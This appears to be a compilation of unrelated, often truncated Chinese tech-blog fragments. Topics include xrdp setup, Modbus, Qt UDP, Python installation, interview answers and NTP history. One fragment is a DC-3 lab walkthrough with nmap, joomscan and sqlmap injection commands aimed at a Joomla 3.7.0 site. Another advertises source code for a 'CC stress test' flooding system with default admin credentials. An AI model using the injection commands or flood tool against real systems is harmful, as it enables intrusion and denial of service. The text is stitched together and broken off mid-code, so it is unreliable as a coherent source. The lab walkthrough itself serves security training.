目录
安装xrdp
连接测试
使用window自带远程桌面mstsc连接centos。
安装xrdp 进入centos系统,打开控制台切换至root用户权限,或者直接使用root用户进入系统:
输入指令:su root,切换至root用户权限。
1.安装epel库
查询是否已经安装epel库:
rpm -qa|grep epel
若没有该库,进行安装:
yum install epel-release
2.安装xrdp服务
执行命令安装:
yum install xrdp
3安装vnc
安装tigervnv-server:
yum install tigervnc-server
4.防火墙开放端口3389
配置防火墙放行端口3389:
firewall-cmd --zone=public --add-port=3389/tcp --permanent
配置完成后重新加载防火墙配置:
firewall-cmd --reload
5.开启xrdp服务
开启服务:
systemctl start xrdp
配置开机自启:
systemctl enable xrdp
连接测试 window打开自带远程桌面连接:
win+r —> 输入mstsc
打开连接界面,点击下方显示更多选项:
输入你想连接的 centos电脑的ip地址,选择centos上已有的一个 用户名:
点击连接,输入用户密码
这时,就看到了远程桌面了,这个界面和物理主机上看到的一样:
一、下载靶机DC-3,解压后导入Vmware Workstation
https://pan.baidu.com/s/17BcSH6RqC7wuyB7PRNqOow?pwd=kc12 启动DC-3靶机,由于不知道密码,无需登录
二、靶机的网卡采用的是NAT模式自动获取IP地址,此时我们需要先获取其MAC地址。
三、因为DC-3与kali攻击机在同一个网段,在kali攻击机中利用nmap 获取本网段的主机信息,根据MAC地址比对来获取DC-3的IP地址。我的kali系统所在网段为192.168.2.0/24,利用如下命令获取本网段的主机信息
nmap -sP 192.168.2.0/24 根据扫描结果进行比对,可知DC-3靶机的IP地址为192.168.2.5
进一步利用nmap工具对靶机进行端口扫描,以此获取靶机开放的端口及提供的服务
nmap -A 192.168.2.5 -p 1-65535 -oN nmap.DC3 由图可知,靶机的80端口处于开放状态,尝试使用浏览器进行访问
四、利用whatweb工具对web进行指纹识别
Web指纹定义:Web指纹是一种对目标网站的识别技术,通过识别网站所使用的服务器、运行的脚本、安装的CMS等信息对目标进行精准的分类和定位。Web指纹识别可以帮助我们在安全测试中快速了解目标网站的基本信息,有助于搜索其相关漏洞。
whatweb http://192.168.2.5 由图可知,该站点是一个Joomla站点,因此我们可以使用JoomScan 命令行工具识别 Joomla网站中的潜在安全漏洞。通过扫描 Joomla 系统组件、插件、模块等,检查是否存在已知的易受攻击的版本。
joomscan --url http://192.168.2.5 从图中可知,扫描出了网站的目录结构以及后台地址
用浏览器打开其后台地址
我们还可以知道网站使用的是Joomla 3.7.0版本的模板,因此我们查找一下网站模板Joomla 3.7.0存在哪些漏洞,便可加以利用
由此可知该网站存在sql注入的漏洞
将漏洞相关信息拷贝到当前目录
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomalv370_sqli.txt cat joomalv370_sqli.txt 五、有了以上信息后,我们便可利用SQLMAP工具进行注入,获取我们想要的信息
(1)列出数据库库名
sqlmap -u "http://192.168.2.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] (2)列出当前数据库库名
sqlmap -u "http://192.168.2.5/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering] 由图可知当前的数据库名是joomladb
(3)列出joomladb数据库的表名
sqlmap -u "
关键字:工业相机测长仪,高精度测长仪,视觉测量系统,蓝鹏测控测长仪,工业测长仪,
本文介绍了蓝鹏测控公司机器视觉业务 测长仪的核心产品及技术特点,主要涵盖相机部分、相机防护系统、补光系统和软件部分。
(一)相机部分
我司的机器视觉业务聚焦工业视觉传感应用,专注光学技术、嵌入式硬件技术和底层算法软件,为客户提供领先的机器视觉硬件产品和算法平台。公司拥有成熟的研发及质量管控体系,从设计源头确保每一款产品的高品质、高稳定、环保等特点。以稳定可靠的产品、灵活的定制化开发、本地化的技术支持和客户服务,持续为客户注入价值。
工业相机及镜头
性能特点 :
采用二代工业相机,更出色的功耗设计
新一代外观结构设计,支持四面安装,更高安装精度
PRO 版本植入无损压缩、降噪、超级调色盘、用户自定义密钥等丰富功能
千兆网接口,最大传输距离可到 100m(无中继)
兼容 GigE Vision V2.0 协议及GenlCam标准,无缝衔接第三方软件
通过 CE, FCC, RoHS, KC 认证
(二)相机防护系统
相机防护系统分为防尘、降温两个功能,保障测长仪在现场的高温、粉尘环境下能安全稳定的运行。
1、防尘系统:采用一体式外壳对相机进行包裹密封,镜头前设置视窗镜片,避免在长期的使用中灰尘遮挡工业相机而导致数据采集错误,日常维护仅需对镜头进行擦拭即可;
相机防尘系统
2、降温系统:外壳内置水冷循环系统,降低相机温度,避免现场的高温对相机内部的芯片、镜头等造成影响,造成设备损坏或测量误差。
(三)补光系统
采用工业相机进行长度检测时,如存在被测件边界存在不清晰的情况,需使用线性激光对工件进行补光处理,以保障工业相机采集数据的准确性。
(四)软件部分
图像处理技术是利用计算机来处理、分析和理解视觉信息的一项技术。图像处理技术的数学模型主要有正交模型、统计模型、预测模型等。型材测长系统是在正交模型下,利用图像的像素比例进行尺寸测量的典型应用。
系统通过工业相机拍摄在辊道上输送的型材图像,工业相机的镜头内设置滤光镜片,截止可见光并透过型材发出的红外线形成单一的型材图像。当型材的两端同时处在相机的视野范围内时,通过追踪型材两端在图像中所处的位置即可测得型材的长度。
在图像处理方式的测量中,由于相机视野内中间和边缘的物像比例存在差异,仅仅依靠像素比例无法达到精确测量。系统内外参数标定是必不可少的环节。
蓝鹏测量软件系统支持离线(提前拍摄标定图像)和在线(从相机实时获取标定图像)两种标定方式,而且兼容以“圆点”、“网格”或“棋盘格”为特征的标定板。系统还提供图像的快捷矫正方法——直接输入已知的内参数,即可快速完成图像矫正。标定界面见下图。
整体而言,蓝鹏测控机器视觉业务提供了一套从硬件到软件、从防护到补光的全方位解决方案,旨在为客户提供高精度、高稳定性的机器视觉应用体验。
测控软件
题目:99.岛屿数量 题目链接: 99. 岛屿数量 (kamacoder.com)
代码: 深度优先搜索: #include<bits/stdc++.h> using namespace std; int dir[4][2] = { 0,1,1,0,-1,0,0,-1 }; void dfs(vector<vector<int>>& grid, vector<vector<bool>>& visited, int x, int y) { for (int i = 0; i < 4; i++) { int nextx = x + dir[i][0]; int nexty = y + dir[i][1]; if (nextx < 0 || nexty < 0 || nextx >= grid.size() || nexty >= grid[0].size()) continue; if (grid[nextx][nexty] == 1 && !
随着互联网的飞速发展,特别是移动互联网的普及,线上线下融合(O2O,Online to Offline)模式已成为推动各行各业转型升级的重要力量。在社区服务领域,社区O2O系统的开发更是为居民生活带来了前所未有的便利与智能化体验,构建了一个集购物、服务、社交于一体的智慧社区生态体系。
一、社区O2O系统的定义与价值 社区O2O系统,简而言之,就是基于互联网技术,将社区内的线上服务与线下资源无缝对接,为社区居民提供便捷、高效、个性化的生活服务解决方案。该系统不仅涵盖了传统的物业管理、水电缴费、报修服务等基础功能,还融入了生鲜配送、家政服务、健康医疗、教育娱乐等多元化服务,极大地丰富了社区居民的日常生活。
其价值主要体现在以下几个方面:
提升居民生活质量:通过一站式服务平台,居民能够轻松享受各类生活服务,节省时间与精力。
促进社区经济发展:为商家提供精准的营销渠道,增加社区内商业活动的活跃度,带动社区经济繁荣。
增强社区管理效能:智能化管理系统有助于物业提高管理效率,及时响应居民需求,构建和谐社区环境。
推动智慧城市建设:作为智慧城市的重要组成部分,社区O2O系统的建设有助于实现城市管理的精细化与智能化。
二、社区O2O系统开发的关键要素 用户需求分析:深入了解社区居民的实际需求,包括但不限于日常购物、家政服务、医疗健康、教育娱乐等方面,确保系统功能的实用性和针对性。
技术架构设计:采用先进的云计算、大数据、物联网等技术,构建稳定、安全、可扩展的系统架构,保障系统的稳定运行和数据的安全性。
服务资源整合:积极与社区内外的商家、服务商合作,整合优质资源,形成丰富的服务供给体系,满足居民多样化的需求。
用户体验优化:注重界面设计的美观性和操作的便捷性,提供个性化推荐、一键下单、在线支付等便捷功能,提升用户的使用体验。
持续迭代升级:根据用户反馈和市场变化,不断优化系统功能和服务流程,保持系统的竞争力和生命力。
三、社区O2O系统的未来展望 随着5G、人工智能等技术的不断成熟和普及,社区O2O系统将迎来更加广阔的发展前景。未来,社区O2O系统将进一步深化与智能硬件设备的融合,如智能门禁、智能停车、智能家居等,实现社区生活的全面智能化。同时,通过大数据分析和人工智能技术,系统将能够更精准地预测和满足居民的需求,提供更加个性化、定制化的服务。此外,随着社区电商、社区金融等新兴业态的兴起,社区O2O系统也将成为推动社区经济多元化发展的重要力量。
总之,社区O2O系统的开发不仅是对传统社区服务模式的革新,更是构建智慧社区、推动智慧城市建设的关键举措。随着技术的不断进步和应用的深入,我们有理由相信,未来的社区生活将更加美好、便捷、智能。
前言—— 在信息爆炸的时代,如何高效地获取和处理知识成为了每个人面临的挑战。随着人工智能技术的迅猛发展,本文将深入探讨这一创新工具的功能与优势,以及如何在日常生活和工作中充分利用它,开启智能化的信息获取新篇章。
点击浏览器插件端
点击跳转!https://ilingban.com/browser_extension?from=smqnzhttps://ilingban.com/browser_extension?from=smqnz
工具介绍
搜索引擎工具 智能搜索:能够理解自然语言查询,提供更为精准的搜索结果,支持多种语言。
文档总结:快速提取和总结长篇文档的关键信息,帮助用户节省阅读时间。
上下文理解:根据用户的历史查询和偏好,提供个性化的搜索建议和结果。
多媒体处理:支持对文本、图片和音频等多种格式的信息进行处理和分析。
实时更新:不断更新数据库,确保搜索结果的时效性和准确性。
用户友好界面:简洁直观的界面设计,方便用户快速上手和使用。
安全性与隐私保护:注重用户数据的安全,保护用户隐私,确保信息不被滥用。
集成其他工具:可与其他应用和工具集成,提高工作效率,例如日历、任务管理等。
学习与适应:随着使用频率的增加,系统能够学习用户的偏好,逐步优化搜索结果。
适用于学生、职场人士以及任何需要高效获取信息的用户。
支持多种浏览器访问
案例1:百度 接下来我们来测试:
提问百度:java中冒泡排序
点击询问灵办AI
高效过滤:提供多种过滤选项,用户可以根据时间、类型、相关性等条件精确筛选搜索结果。
易用界面:简洁直观的用户界面,方便用户快速上手,提升使用体验。
简介直观,直达博客链接,临时预览,高效精确
鼠标移动上去有浮动的效果会显示文章的名称和发布时间
点击链接可以直达想要访问的地址
案例2:Github 这个想必大家都了解,也有的小伙伴也经常使用
开源社区,GitHub 是一个基于 Git 的代码托管平台,允许开发者进行版本控制、协作和项目管理。用户可以创建和分享开源项目,参与代码审查和讨论,促进开发者之间的合作与学习。它是全球最大的开源社区之一,支持丰富的工具和功能,提升了软件开发的效率和透明度。
当我们在浏览别人的项目仓库的时候,可以通过灵办AI来实现仓库总结。
点击总结此仓库
以下是他总结的内容 大家可以参考一下:
总结 图像XPicX 是一个基于 GitHub API 开发的免费图床工具,提供在线图片上传、托管、生成图片链接以及丰富的图片处理工具箱服务。该工具操作简单,文档完善,且持续维护,同时支持代码开源,确保数据安全。
要点 在线使用:无需下载和安装,直接通过网页访问使用。
操作简单:提供友好的用户界面和详细的官方文档,帮助用户快速上手。
代码开源:项目代码开源,保证数据安全和透明度。
授权登录:支持通过 GitHub OAuth 授权或填写 GitHub Token 登录。
功能丰富
支持拖拽、复制粘贴、选择文件等方式上传图片。
支持图片重命名、哈希化、添加前缀。
支持批量上传、删除图片和复制图片链接。
支持图床多级目录管理。
一键复制图片链接,支持 Markdown、HTML、BBCode 格式转换。
内置多种图片链接规则,并支持自定义配置。
图片压缩和水印功能。
支持 PWA 和暗夜模式。
多语言支持(中文简体、中文繁体、英文)。
工具箱包含图片压缩、图片转 Base64、图片水印等功能。
项目场景: GD32单片机通过USART1串口,以115200波特率每1秒发送自定义字符串(“my_test”),PC机使用串口助手接收数据。
问题描述 使用串口助手软件(sscom)接收GD3232单片机通过UART发送的数据时,预期应接收到字符串’my_test’,但实际接收到的是一串非预期字符
原因分析: 按照如下步骤逐已排查,试图找到可能的错误点:
1. 串口助手配置核实: 确认串口助手配置与程序设置一致,波特率设为115200,数据位8位,无奇偶校验,停止位1位。
2. DR寄存器检查: 在Keil调试模式下,验证串口DR寄存器是否正确写入预期值。
3. 示波器波形分析: 使用示波器观察串口通信波形,发现存在严重的失帧现象。
4. 晶振频率核对: 根据GPT老师的提示,核对CubeMX中设置的晶振频率(25MHz)与板子上晶振标注的频率(8MHz),怀疑晶振频率设置不匹配可能是导致问题的原因。
解决方案: 修改cubemx配置,将外部晶振频率改为与硬件相符合的8MHz,重新查看串口接收数据,结果正确。
在数字化浪潮中,每一个技术节点都牵动着服务的稳定与用户的信任。网易云音乐作为业界知名的音乐平台,其服务器故障事件不仅是一次技术挑战,更是对团队应急响应能力与未来防范措施的一次深刻考验。本文将从快速响应、问题排查、高效解决及长期预防四个方面,探讨如何在技术风暴中站稳脚跟,提升团队的应急处理能力。
一、快速响应:建立敏捷的应急响应机制 面对突如其来的技术故障,首要任务是迅速启动应急响应机制。网易云音乐应确保有一个明确的故障报告与升级流程,任何技术异常都能即时被监控并上报至相关负责人。利用自动化监控工具与AI预警系统,实现对系统状态的实时监控与异常识别,将“预警”前置,减少故障影响时间。
同时,成立跨部门应急小组,包括技术、运营、客服等多方力量,确保问题一旦发生,能够迅速集结,协同作战。明确各自职责,制定详细的应急处理手册,确保每一步操作都有据可依,提升响应效率。
二、高效解决:精准定位,迅速恢复 在确认故障后,迅速组织技术力量进行问题排查。利用日志分析、性能监控等工具,结合系统架构与近期变更记录,精准定位问题根源。此过程需保持沟通畅通,信息同步,避免重复劳动和资源浪费。
对于已知的常见问题,建立快速恢复预案,如备份恢复、容灾切换等,力求在最短时间内恢复服务。对于复杂问题,则需灵活调整策略,必要时引入外部专家支持,确保解决方案的科学性和有效性。
三、用户体验保障:透明沟通,情感补偿 在故障处理过程中,保持与用户的透明沟通至关重要。通过官方渠道及时发布故障通报、处理进展及预计恢复时间,减少用户焦虑与不满。同时,提供必要的用户补偿措施,如延长会员期限、赠送积分等,以体现企业责任感,维护品牌形象。
四、未来防范:构建全面的安全稳定体系 故障后的反思与改进是提升团队应急能力的关键。网易云音乐应深入分析此次故障的原因,总结经验教训,对系统架构、运维流程、监控体系进行全面审查与优化。加强系统冗余设计,提升容灾能力;优化代码质量,减少潜在bug;强化员工培训,提升全员安全意识与应急技能。
此外,建立定期演练机制,模拟各类故障场景,检验应急响应机制的有效性与团队的协同作战能力,确保在真正的危机来临时能够从容应对。
总之,面对技术故障的挑战,网易云音乐及类似平台需通过快速响应、高效解决、透明沟通以及未来防范等多方面的努力,构建起坚实的技术防线,不断提升团队的应急处理能力,为用户提供更加稳定、可靠的服务体验。
目录
一、前言
二、服务端
①在项目配置文件中加入network模板
②创立一个继承自QObject的UdpServer的类
③构造函数的实现
④读取信息函数的实现
三、客户端
①绑定服务端的IP地址和端口号
②发送数据报给服务端
四、实现效果
结语 一、前言 UDP(User Datagram Protocol,用户数据报协议)是一种无连接的、不可靠的、面向报文的、基于网络的传输层协议。
二、服务端 ①在项目配置文件中加入network模板 QT += core gui network ②创立一个继承自QObject的UdpServer的类 UdpServer构造函数用于创建对象时初始化对象
readDatagram函数用于读取客户端发来的信息,并进行相应的操作
#include <QUdpSocket> #include <QDebug> #include <QBuffer> #include <QDataStream> class UdpServer : public QObject { Q_OBJECT public: //构造函数 UdpServer(QObject *parent = nullptr); private slots: //读取客户端发来的信息函数 void readDatagram(); private: //udp通信的变量 QUdpSocket *udpSocket; }; ③构造函数的实现 bind函数绑定到所有可用的网络接口上的12345端口,其中的QHostAddress::Any参数是所有可用的网络接口,你也可以给具体的IP地址
connect函数是用于连接信号与槽,确保接收到UDP数据报时能够自动调用readDatagram函数
UdpServer::UdpServer(QObject *parent = nullptr) : QObject(parent) , udpSocket(new QUdpSocket(this)) { udpSocket->bind(QHostAddress::Any, 12345); //绑定到所有可用的网络接口上的12345端口 connect(udpSocket, &QUdpSocket::readyRead, this, &UdpServer::readDatagram); //连接信号与槽,确保接收到UDP数据报时能够自动调用readDatagram函数 } ④读取信息函数的实现 使用while循环读取数据报,通过调用hasPendingDatagrams()的方法实现
ModBus是一种通信协议,用于连接自动化设备(如PLC、温度控制器等)和计算机。它被广泛应用于工业控制系统,支持多种通信方式,包括ModBus RTU、ModBus ASCII和ModBus TCP 3种模式。
Modbus是一种应用层协议,它定义了与基础网络无关的数据单元(ADU),可以在以太网(TCP/IP)或串行链路上(RS232、RS485等)进行通信(以太网ADU和串行ADU略有不同)。在串行链路上,Modbus协议有两种传输模式——ASCII模式和RTU模式。其中,ASCII是英文“American Standard Code for Information Interchange”的缩写,中文翻译为“美国国家信息交换标准编码”;RTU是英文“ Remote Terminal Unit”的缩写,中文翻译为“远程终端设备”。
常用的就是ModBus RTU模式,RTU用的是16位CRC校验。记住这一点就够了。小打小闹的嵌入式开发就专注RTU模式就行了。
ASCII和RTU都是用的串口,TCP用的是网口,TCP是面向连接的可靠协议,TCP模式没有额外规定校验。
Modbus 协议支持两种不同的串行传输模式:ASCII 模式和 RTU 模式,它们之间的主要区别在于数据的编码方式、传输速度和帧结构等方面。
这里不细讲,只要记得,
(1).RTU 模式传输效率高,ASCII 模式低;
(2).ASCII 模式的传输速度比 RTU 模式慢很多;在 ASCII 模式下,传输速率通常为 9600 比特/秒,而在 RTU 模式下,传输速率可以达到 115200 比特/秒以上。
(3).RTU 模式比 ASCII 模式更为常用,因为它具有更快的传输速度和更简单的帧结构。然而,ASCII 模式更为稳定,适合需要保证数据可靠性的场合。在选择 Modbus 传输模式时,应根据实际应用需求进行选择。
ASCII和RTU能自动转换吗?
RTU和ASCII是两种不同的通信协议,它们的数据格式和传输方式都不同,因此不能自动转换。
通常情况下,从站设备通常只支持一种通信协议,主站需要根据从站设备所支持的协议进行配置。如果主站需要与多个从站设备进行通信,而这些设备支持不同的通信协议,那么就需要使用转换设备或软件进行协议转换,以确保从站设备与主站之间的正常通信。
@TOC
ssm272基于VUE的新闻类网站+vue修改完的 系统概述 进过系统的分析后,就开始记性系统的设计,系统设计包含总体设计和详细设计。总体设计只是一个大体的设计,经过了总体设计,我们能够划分出系统的一些东西,例如文件、文档、数据等。而且我们通过总体设计,大致可以划分出了程序的模块,以及功能。但是只是一个初步的分类,并没有真正的实现。
整体设计,只是一个初步设计,而且,对于一个项目,我们可以进行多个整体设计,通过对比,包括性能的对比、成本的对比、效益的对比,来最终确定一个最优的设计方案,选择优秀的整体设计可以降低开发成本,增加公司效益,从这一点来讲,整体设计还是非常重要的。
新闻类网站工作原理图如图4-1所示:
图4-1 系统工作原理图
4.2 系统结构设计 系统架构图属于系统设计阶段,系统架构图只是这个阶段一个产物,系统的总体架构决定了整个系统的模式,是系统的基础。新闻类网站的整体结构设计如图4-2所示。
图4-2 系统结构图
4.3数据库设计 数据库是计算机信息系统的基础。目前,电脑系统的关键与核心部分就是数据库。数据库开发的优劣对整个系统的质量和速度有着直接影响。
4.3.1 数据库设计原则 数据库的概念结构设计采用实体—联系(E-R)模型设计方法。E-R模型法的组成元素有:实体、属性、联系,E-R模型用E-R图表示,是提示用户工作环境中所涉及的事物,属性则是对实体特性的描述。在系统设计当中数据库起着决定性的因素。下面设计出这几个关键实体的实体—关系图。
4.3.2 数据库实体 数据模型中的实体(Entity),也称为实例,对应现实世界中可区别于其他对象的“事件”或“事物”。例如,公司中的每个员工,家里中的每个家具。
本系统的E-R图如下图所示:
1、新闻信息实体图如图4-3所示:
图4-3新闻信息实体图
2、用户信息实体图如图4-4所示:
图4-4用户信息实体图
3、用户分享信息实体图如图4-5所示:
图4-5用户分享信息实体图
4.3.3 数据库表设计 数据库的表信息属于设计的一部分,下面介绍数据库中的各个表的详细信息。
表4-1 allusers表
列名数据类型长度约束idint11NOT NULLusernamevarchar50default NULLpwdvarchar50default NULLcxvarchar50default NULL 表4-2 xinwenxinxi表
列名数据类型长度约束idint11NOT NULLaddtimevarchar50default NULLxinwenbiaotivarchar50default NULLxinwenleibievarchar50default NULLxinwendiquvarchar50default NULLxinwentupianvarchar50default NULLxinwenshipinvarchar50default NULLxinwenxiangqingvarchar50default NULLfaburiqivarchar50default NULL 表4-3:yonghu表
列名数据类型长度约束idint11NOT NULLaddtimevarchar50default NULLyonghumingvarchar50default NULLmimavarchar50default NULLxingmingvarchar50default NULLxingbievarchar50default NULLtouxiangvarchar50default NULLshoujivarchar50default NULLyouxiangvarchar50default NULLsfshvarchar50default NULLshhfvarchar50default NULL 表4-4:yonghufenxiang表
列名数据类型长度约束idint11NOT NULLaddtimevarchar50default NULLfenxiangbiaotivarchar50default NULLfenxiangleixingvarchar50default NULLfenxiangtupianvarchar50default NULLfenxiangshipinvarchar50default NULLfenxiangriqivarchar50default NULLfenxiangneirongvarchar50default NULLyonghumingvarchar50default NULLyouxiangvarchar50default NULLsfshvarchar50default NULLshhfvarchar50default NULL 表4-5:xinwenleibie表
屏幕录制主要为主屏幕录屏功能。
开发者可以调用录屏(AVScreenCapture)模块的C API接口,完成屏幕录制,采集设备内、麦克风等的音视频源数据。当开发直播、办公等应用时,可以调用录屏模块获取音视频原始码流,然后通过流的方式流转到其他模块处理,达成直播时共享桌面的场景。
录屏模块和窗口(Window)、图形(Graphic)等模块协同完成整个视频采集的流程。
当前在进行屏幕录制时默认使用主屏,图形默认根据主屏生产录屏帧数据到显示数据缓冲队列,录屏框架从显示数据缓冲队列获取数据进行相应处理。
使用AVScreenCapture录制屏幕涉及到AVScreenCapture实例的创建、音视频采集参数的配置、采集的开始与停止、资源的释放等。
开始屏幕录制时正在通话中或者屏幕录制过程中来电,录屏将自动停止。因通话中断的录屏会上报OH_SCREEN_CAPTURE_STATE_STOPPED_BY_CALL状态。
本开发指导将以完成一次屏幕数据录制的过程为例,向开发者讲解如何使用AVScreenCapture进行屏幕录制。
如果配置了采集麦克风音频数据,需对应配置麦克风权限ohos.permission.MICROPHONE和申请长时任务,配置方式请参见[向用户申请权限]、[申请长时任务]。
开发步骤及注意事项 使用AVScreenCapture时要明确其状态的变化,在创建实例后,调用对应的方法可以进入指定的状态实现对应的行为。
在确定的状态下执行不合适的方法会导致AVScreenCapture发生错误,开发者需要在调用状态转换的方法前进行状态检查,避免程序运行异常。
在 CMake 脚本中链接动态库
target_link_libraries(entry PUBLIC libnative_avscreen_capture.so libnative_buffer.so libnative_media_core.so) 添加头文件。 #include "napi/native_api.h" #include <multimedia/player_framework/native_avscreen_capture.h> #include <multimedia/player_framework/native_avscreen_capture_base.h> #include <multimedia/player_framework/native_avscreen_capture_errors.h> #include <native_buffer/native_buffer.h> #include <fcntl.h> #include "string" #include "unistd.h" 创建AVScreenCapture实例capture。
OH_AVScreenCapture* capture = OH_AVScreenCapture_Create(); 配置屏幕录制参数。
创建AVScreenCapture实例capture后,可以设置屏幕录制所需要的参数。
OH_AudioCaptureInfo miccapinfo = { .audioSampleRate = 16000, .audioChannels = 2, .audioSource = OH_MIC }; OH_VideoCaptureInfo videocapinfo = { .videoFrameWidth = 720, .videoFrameHeight = 1080, .videoSource = OH_VIDEO_SOURCE_SURFACE_RGBA }; OH_AudioInfo audioinfo = { .
目录
1编译安装
前期准备
安装Python 3.7
配置环境变量
配置共享库文件
测试python3
测试 pip3
配置 pip3 使用国内源
配置使用国内源安装第三方模块
重新测试:编译安装python3.7 和pip 均安装成功
2.担心不好卸载 使用Anaconda同时安装运行多个不同版本的python环境
验证Anaconda是否配置正确
创建和管理Python环境
1.创建一个新的Python测试环境:
2.创建一个生产环境 :实际可用的Python3环境:
激活虚拟环境:
现在你已经成功激活了py3 虚拟环境,你可以在这个环境中安装和运行Python3程序。
使用conda list查看当前环境中已安装的包。
[root@slave2 ~]# python3 --version Python 3.8.8[root@slave2 ~]# 3.如果conda命令找不到 ,conda无法使用
汉化Python
检查Python安装
安装pip 和常用插件
验证安装
Python 特点扩展举例
为什么举例?
1编译安装 注意: 系统上已有 python2.7 使用以下 卸载, 不卸载也行 编译安装 注意 要 验证时使用 python3 -version
yum -y remove $(rpm -qa |grep python ) 前期准备 更新系统软件包列表:更新系统软件包此步骤可不做:若编译安装失败后把包删干净再执行此步骤,
说一说HashMap的扩容机制 1. 初始容量和加载因子 初始容量(Initial Capacity):HashMap 在创建时可以指定一个初始容量,它是桶数组(Entry<K,V>[] table)的初始大小。如果没有指定初始容量,则默认为 16。加载因子(Load Factor):加载因子是 HashMap 在其容量自动增加之前可以达到多满的一个尺度。当 HashMap 中的条目数超过了加载因子与当前容量的乘积时,就会进行扩容。如果没有特别指定,加载因子默认为 0.75。 2. 扩容过程 当 HashMap 中的元素个数超过 容量 * 加载因子 时,就会触发扩容。扩容的过程大致如下:
创建一个新的桶数组:新数组的容量是旧数组容量的两倍(如果旧数组容量是 MAXIMUM_CAPACITY(即 1 << 30),则不再扩容,因为已经到达最大容量)。
重新计算索引:遍历旧数组中的每个元素,根据每个元素的键重新计算哈希值,并据此确定元素在新数组中的索引位置。这里可能会遇到哈希冲突,但 HashMap 通过链表或红黑树(Java 8 引入)来解决冲突。
复制元素:将旧数组中的元素复制到新数组中对应的位置。如果是链表,则直接整体移动;如果是红黑树,则进行红黑树的复制。
替换桶数组:将 HashMap 的 table 引用指向新的桶数组。
IP协议的首部结构 首部协议一共是20个字节(固定)
第一个4字节: 版本号;首部长度; 服务类型;总长度;
第二个4字节:标识;标志;片偏移;
第三个4字节:生存时间;协议;校验和;
第四个4字节:源ip地址;
第五个4字节:目的ip地址;
说一说进程调度算法有哪些 1. 先来先服务(FCFS,First-Come, First-Served) 描述:按照作业或进程到达任务队列的顺序进行调度。它是一种非抢占式的调度算法,即一旦CPU分配给某个进程,该进程将一直执行,直到完成或发生某种阻塞事件。优点:易于理解且实现简单,只需要一个队列,并且相当公平。缺点:对短作业(进程)不利,可能导致其长时间等待,同时也不利于处理紧急作业。 2. 时间片轮转(RR,Round-Robin) 描述:将CPU处理时间划分为多个时间片,每个进程被分配一个时间片,进程在时间片结束时被抢占,并重新放入队列末尾等待下一次调度。优点:简单易行,平均响应时间短,可以保证每个进程都有机会获得CPU资源,防止长时间运行的进程垄断CPU。缺点:时间片大小需要设置得合适才能实现最好的性能,过大可能导致响应时间过长,过小则会导致频繁的进程切换,增加系统开销。 3. 最短作业优先(SJF,Shortest Job First) 描述:每次从队列中选择预计执行时间最短的作业或进程进行调度。该算法可以是抢占式的,也可以是非抢占式的。优点:可以降低平均等待时间和提高系统吞吐量,优先照顾短作业。缺点:对长作业不友好,可能导致其长时间得不到执行,出现饥饿现象。同时,难以准确估计作业的执行时间,影响调度性能。 4. 最短剩余时间优先(SRTF,Shortest Remaining Time First) 描述:是SJF算法的抢占式版本。每次调度时,选择剩余执行时间最短的进程执行。如果新到达的进程剩余执行时间更短,则抢占当前执行的进程。优点:确保短作业或短进程优先被处理。缺点:由于频繁的抢占和进程切换,系统开销大,实现代价高。 5. 最高响应比优先(HRRN,Highest Response Ratio Next) 描述:根据响应比R=(等待时间+服务时间)/服务时间进行调度。响应比越高,进程优先级越高。优点:既考虑了作业的等待时间,又考虑了作业的执行时间,使得长作业也有机会得到执行。缺点:需要一直计算响应比,增加了系统资源的消耗。 6.
最新网站服务器CC压力测试系统源码 前后端全开源
一款可测压的系统,但不提供接口。
环境:php7.3 mysql5.6 Apache 2.4.53
上传后解压
访问域名/install进行安装
后台地址:域名/admin
账号:admin
密码:admin
代码下载
GPS北斗授时服务器(网络时钟系统)助力金融领域
GPS北斗授时服务器(网络时钟系统)助力金融领域
摘 要:首先对计算机网络时间同步相关技术进行了介绍,然后阐述了时间同步技术在现代计算机网络中的应用与发展,最后指出时间同步网络在下一代网络(NGN) 中的重要地位。
随着计算机网络技术及其应用的深入发展,人们开始在计算机构成的虚拟空间展开活动。很多领域的网络系统如金融业(证券、银行) 、广电业(广播、电视) 、交通业(火车、飞机) 、电子商务(交易、认证、加密) 、电信(计费、IP 电话、网络结算) 、大型分布式商业数据库等需要在大范围保持计算机间的时间同步和时间准确。所以,网络时间同步技术是当前许多要求严格的网络应用系统所需要的一项关键性技术。在现代通信网络中引入新的支撑网—时间同步网也是非常重要而迫切的工作。
一、计算机网络时间同步相关技术概述
目前,网络时间同步的标准协议是网络时间协议(Network time Protocol ,NTP ) ,NTP 由美国德拉瓦大学的David L.Mills教授于1985年提出,是设计用来使Internet上的计算机保持时间同步的一种通信协议。网络时间协议可以估算出数据包在Internet上的往返延迟,并可独立地估算计算机时钟偏差,从而实现网络上计算机间可靠和精确的时间同步。NTP 以GPS /BDS时间代码传送的时间消息为参考标准,采用了Client/ Server 结构,具有相当高的灵活性,可以适应各种Internet 环境。NTP不仅校正现行时间,而且持续跟踪时间的变化,能够自动进行调节,即使网络发生故障,也能维持时间的稳定。NTP产生的网络开销甚少,并具有保证网络安全的应对措施.这些措施的采用使得NTP成为Internet上公认的时间同步工具。
1.1网络时间协议
网络时间协议(NTP) 的发展可以分为三个时期。
(1) 网络时间协议作为NTP名称的首次出现是在RFC958之中,该版本也被称为NTPV0 ,其目的是为ARPA 网提供时间同步。
(2) NTPV1出现于1988 年6 月,在RFC1059中描述了首个完整的NTP的规范和相关算法。1989年9月推出了取代RFC958和RFC1059的NTPV2—RFC1119。几乎同时, DEC公司也推出了一个时间同步协议,数字时间同步服务(Digital Time Synchronization Service ,DTSS) 。在1992年3月,NTPV3—RFC1305问世,该版本总结和综合了NTP 先前版本和DTSS ,正式引入了校正原则,并改进了时钟选择和时钟滤波的算法,而且还引入了时间消息发送的广播模式。这个版本取代了NTP 的先前版本,是使用最广泛的版本。
(3) NTP V3发布后,一直在不断地进行改进,这些版本标注为xntp3. y ,这里x表示试验,y表示第几次修改。NTPV4的工作也在进行之中,它将改进时钟模型,在各种同步源和网络通路的情况下更精确地预测和调节频率和时间;提出相应的新算法以降低网络抖动和振荡器漂移的冲突,加速启动时的时间同步收敛速度;还将提供关于自动配置、可靠性和加强网络安全性的鉴权(使用public key 密码) 等方面的新特性。NTPV4的正式
